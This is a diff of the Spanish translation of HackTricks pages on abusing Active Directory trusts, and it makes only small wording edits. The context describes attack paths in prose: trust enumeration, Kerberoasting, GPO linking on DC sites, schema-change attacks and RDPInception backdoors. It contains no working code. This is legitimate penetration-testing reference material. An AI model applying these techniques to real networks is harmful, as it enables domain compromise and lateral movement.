al **Controlador de Dominio (DC2) del Dominio 2**. +6. DC2 verifica el TGT inter-realm utilizando su clave de confianza compartida y, si es válido, emite un **Ticket Granting Service (TGS)** para el servidor en el Dominio 2 al que el cliente desea acceder. +7. Finalmente, el cliente presenta este TGS al servidor, que está cifrado con el hash de la cuenta del servidor, para obtener acceso al servicio en el Dominio 2. ### Diferentes confianzas @@ -526,7 +526,7 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con **Diferentes relaciones de confianza** -- **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza transitoria bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo. +- **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo automáticamente tiene una confianza transitoria bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo. - **Confianzas de enlace cruzado**: Conocidas como "confianzas de acceso directo", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación generalmente tienen que viajar hasta la raíz del bosque y luego hacia abajo hasta el dominio objetivo. Al crear enlaces cruzados, el viaje se acorta, lo que es especialmente beneficioso en entornos geográficamente dispersos. - **Confianzas externas**: Estas se establecen entre diferentes dominios no relacionados y son no transitivas por naturaleza. Según [la documentación de Microsoft](), las confianzas externas son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una confianza de bosque. La seguridad se refuerza a través del filtrado de SID con confianzas externas. - **Confianzas de raíz de árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y un nuevo árbol raíz agregado. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](). @@ -541,7 +541,7 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con ### Ruta de ataque 1. **Enumerar** las relaciones de confianza -2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza fue creada para esto probablemente). +2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza se creó probablemente para esto). 1. Kerberoast en este caso podría ser otra opción. 3. **Comprometer** las **cuentas** que pueden **pivotar** entre dominios. @@ -586,7 +586,7 @@ Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) e **Vincular GPO al sitio raíz de DC** -El contenedor de Sitios del NC de Configuración incluye información sobre los sitios de todas las computadoras unidas al dominio dentro del bosque de AD. Al operar con privilegios de SYSTEM en cualquier DC, los atacantes pueden vincular GPOs a los sitios raíz de DC. Esta acción compromete potencialmente el dominio raíz al manipular políticas aplicadas a estos sitios. +El contenedor de Sitios del NC de Configuración incluye información sobre todos los sitios de computadoras unidas al dominio dentro del bosque de AD. Al operar con privilegios de SYSTEM en cualquier DC, los atacantes pueden vincular GPOs a los sitios raíz de DC. Esta acción compromete potencialmente el dominio raíz al manipular políticas aplicadas a estos sitios. Para información más detallada, se puede explorar la investigación sobre [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). @@ -600,7 +600,7 @@ Un análisis detallado se puede encontrar en la discusión sobre [Golden gMSA Tr Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría llevar a acceso no autorizado y control sobre los nuevos objetos AD creados. -Más lecturas están disponibles sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). +Lectura adicional está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). **De DA a EA con ADCS ESC5** @@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -En este escenario, **tu dominio es confiable** por uno externo, lo que te otorga **permisos indeterminados** sobre él. Necesitarás encontrar **qué principios de tu dominio tienen qué acceso sobre el dominio externo** y luego intentar explotarlo: +En este escenario, **tu dominio es confiable** por uno externo, lo que te otorga **permisos indeterminados** sobre él. Necesitarás encontrar **qué principales de tu dominio tienen qué acceso sobre el dominio externo** y luego intentar explotarlo: {{#ref}} external-forest-domain-oneway-inbound.md @@ -648,7 +648,7 @@ external-forest-domain-one-way-outbound.md Otra forma de comprometer el dominio confiado es encontrar un [**enlace SQL confiado**](abusing-ad-mssql.md#mssql-trusted-links) creado en la **dirección opuesta** de la confianza del dominio (lo cual no es muy común). Otra forma de comprometer el dominio confiado es esperar en una máquina donde un **usuario del dominio confiado pueda acceder** para iniciar sesión a través de **RDP**. Luego, el atacante podría inyectar código en el proceso de sesión RDP y **acceder al dominio de origen de la víctima** desde allí.\ -Además, si la **víctima montó su disco duro**, desde el proceso de **sesión RDP**, el atacante podría almacenar **backdoors** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.** +Además, si la **víctima montó su disco duro**, desde el proceso de **sesión RDP** el atacante podría almacenar **puertas traseras** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.** {{#ref}} rdp-sessions-abuse.md diff --git a/src/windows-hardening/lateral-movement/README.md b/src/windows-hardening/lateral-movement/README.md index ee8d44210..c51327a42 100644 --- a/src/windows-hardening/lateral-movement/README.md +++ b/src/windows-hardening/lateral-movement/README.md @@ -10,8 +10,8 @@ Hay diferentes maneras de ejecutar comandos en sistemas externos, aquí puedes e - [**AtExec / SchtasksExec**](atexec.md) - [**WinRM**](winrm.md) - [**DCOM Exec**](dcom-exec.md) -- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud) -- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud) -- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud) +- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (nube) +- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (nube) +- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (nube) {{#include ../../banners/hacktricks-training.md}}